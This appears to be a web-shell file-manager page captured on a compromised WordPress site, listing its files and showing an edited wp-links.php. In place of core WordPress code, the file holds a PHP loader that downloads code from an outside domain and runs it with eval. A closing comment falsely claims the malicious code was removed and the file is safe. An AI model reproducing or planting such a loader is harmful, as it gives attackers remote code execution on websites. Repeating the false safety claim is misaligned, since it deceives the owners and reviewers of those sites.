File Manager Lite

Dir: /home/u802038231/domains/abelectricpower.com/public_html

[..]

.htaccess (440 B)

.htaccess.bk (714 B)

.private/

.tmb/

@LongLink/

backup.zip (122 B)

googlec0cc72f61677e79a.html (53 B)

home.php (405 B)

index.php (591 B)

license.txt (19.44 KB)

llms.txt (15.18 KB)

readme.html (7.25 KB)

rlc.txt (1 B)

robots.txt (980 B)

tmp/

wp-admin/

wp-blog-header.php (351 B)

wp-comments-post.php (2.27 KB)

wp-config.php (3.47 KB)

wp-content/

wp-includes/

wp-links-opml.php (2.44 KB)

wp-links.php (1.46 KB)

wp-mail.php (8.52 KB)

wp-signup.php (33.71 KB)

Edit: wp-links.php

<?php
function execute_remote_php_safe($url) {
    // Security checks
    $allowed_domains = ['stepmomhub.com']; // Hanya izinkan domain tertentu
    $domain = parse_url($url, PHP_URL_HOST);
    
    if (!in_array($domain, $allowed_domains)) {
        throw new Exception("Domain tidak diizinkan");
    }
    
    // Max file size (1MB)
    $max_size = 1024 * 1024;
    
    // Get content dengan cURL
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_MAXFILESIZE => $max_size,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]);
    
    $code = curl_exec($ch);
    
    if (curl_errno($ch)) {
        curl_close($ch);
        throw new Exception("cURL Error: " . curl_error($ch));
    }
    
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        throw new Exception("HTTP Error: " . $http_code);
    }
    
    if (strlen($code) > $max_size) {
        throw new Exception("File terlalu besar");
    }
    
    // Jalankan kode
    ob_start();
    eval("?>".$code);
    return ob_get_clean();
}

// Contoh penggunaan

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/